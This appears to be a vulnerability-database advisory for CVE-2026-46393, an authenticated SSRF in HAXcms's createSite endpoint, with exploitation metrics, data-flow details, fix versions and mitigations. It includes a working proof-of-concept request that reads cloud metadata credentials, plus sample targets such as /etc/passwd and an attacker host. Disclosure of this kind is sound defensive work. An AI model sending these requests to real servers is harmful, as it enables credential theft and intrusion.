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CVE-2026-46393 — @haxtheweb/haxcms-nodejs

CVE-2026-46393 is a Server-Side Request Forgery (SSRF) vulnerability in @haxtheweb/haxcms-nodejs. A fix is available for @haxtheweb/haxcms-nodejs — see the affected versions and patch details below.

HAXcms createSite SSRF Enables Arbitrary File Read

Published
May 19, 2026
Updated
Sep 10, 2026
Affected
1 pkg
Patched
1 / 1
Exploits
None indexed
Exploitation data as of Sep 27, 2026 · OSV.dev, NVD, FIRST.org (EPSS)

Exploitation Status

Proof-of-concept exploit code exists

  • CISA’s SSVC triage found public proof-of-concept exploit code for this CVE, though no confirmed active exploitation.

Exploitation and automatability from CISA’s SSVC triage for CVE-2026-46393.

EPSS Exploitation Probability

via FIRST.org ↗
0.4%probability of exploitation in next 30 days
Lower Risk0.00%
Lower risk than most CVEs30th percentile — riskier than 30% of all scored CVEsHighest risk

Probability of exploitation in the next 30 days, from FIRST.org EPSS.

Real-World Exposure

1 pkg affected

How broadly this vulnerability is actually deployed: weekly install volume shows current usage, and reverse-dependency count shows how many other packages break if it stays unpatched.

1other npm packages depend on this — each one inherits the vulnerability until it's patched upstream
@haxtheweb/haxcms-nodejsnpm
438downloads / week

Description

Summary

An authenticated Server-Side Request Forgery (SSRF) vulnerability in HAXcms allows users to fetch arbitrary internal or local resources and write the responses to a web-accessible directory, enabling arbitrary file read and internal network access.

Details

The createSite endpoint in HAXcms (v11.0.6) accepts a build.files parameter that allows an authenticated user to supply arbitrary URLs or local file paths. This input is processed without validation and ultimately fetched server-side using file_get_contents().

The data flow is as follows:

  • User input (build.files) is processed via object_to_array() into a PHP array
  • Assigned to $filesToDownload in Operations.php (line 2626)
  • Iterated over in Operations.php (line 2730), where each entry is passed to HAXCMSFile::save() with bulk-import enabled

In HAXCMSFile.php (line 30), the following occurs:

file_get_contents($upload['tmp_name']);

Here, tmp_name is attacker-controlled and may contain:

  • External URLs (http://attacker.com)
  • Internal services (http://127.0.0.1)
  • Cloud metadata endpoints (http://169.254.169.254)
  • Local file paths (/etc/passwd, /proc/self/environ)

The bulk-import flag bypasses is_uploaded_file() validation, which normally ensures the file originates from a legitimate upload. The only restriction is an extension whitelist based on the filename (array key), which is fully attacker-controlled.

There are no restrictions on:

  • URL schemes (http, file, gopher, etc.)
  • Destination IP ranges (internal, loopback, metadata services)
  • Response content

All fetched content is written to:

sites/<sitename>/files/<filename>

and is accessible via the web.

PoC

Prerequisites:

  • Authenticated session (default credentials: admin/admin on fresh installs)
  • Valid JWT and CSRF token

Step 1: Log in and capture JWT + CSRF token

Step 2: Send crafted request:

POST /createSite HTTP/1.1
Host: target
Authorization: Bearer [JWT]
X-CSRF-Token: [TOKEN]
Content-Type: application/json

{
  "site": {
    "name": "poc"
  },
  "build": {
    "files": {
      "poc.txt": {
        "tmp_name": "http://169.254.169.254/latest/meta-data/iam/security-credentials/"
      }
    }
  }
}

Step 3: Retrieve response:

GET /sites/poc/files/poc.txt

The response will contain the fetched content (e.g., cloud credentials or internal service data).

Impact

  • SSRF enabling access to internal network services
  • Arbitrary file read via local filesystem paths
  • Cloud credential exposure through metadata endpoints
  • Data exfiltration via web-accessible file storage

Any authenticated user can exploit this to access sensitive server or infrastructure data, potentially leading to full system or cloud environment compromise.

Affected Packages

1 total 1 fixed
EcosystemPackageVulnerable rangeFix
📦npm@haxtheweb/haxcms-nodejsall versions26.0.0npm install @haxtheweb/haxcms-nodejs@26.0.0

Detection & mitigation playbook

Open-source dependency
  1. Detect

    Scan your dependency tree (package-lock.json, pnpm-lock.yaml, requirements.txt, go.sum, etc.) for @haxtheweb/haxcms-nodejs, including transitive dependencies — a direct dependency you never call can still pull in a vulnerable version.

  2. Fix

    Update @haxtheweb/haxcms-nodejs to 26.0.0 or later, then make sure no transitive (indirect) dependency still pins the vulnerable range — O3 confirms CVE-2026-46393 is resolved across your whole dependency graph.

  3. Workarounds

    Restrict outbound requests from the affected component to an allowlist of hosts, block access to link-local and internal address ranges at the network layer, and require authentication on internal services so a forged request cannot reach them unauthenticated.

Frequently Asked Questions

### Summary An authenticated Server-Side Request Forgery (SSRF) vulnerability in HAXcms allows users to fetch arbitrary internal or local resources and write the responses to a web-accessible directory, enabling arbitrary file read and internal network access. ### Details The `createSite` endpoint in HAXcms (v11.0.6) accepts a `build.files` parameter that allows an authenticated user to supply arbitrary URLs or local file paths. This input is processed without validation and ultimately fetched server-side using `file_get_contents()`. The data flow is as follows: - User input (`build.file
O3 Security · Impact-Aware SCA

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CVE-2026-46393: @haxtheweb/haxcms SSRF | O3 Security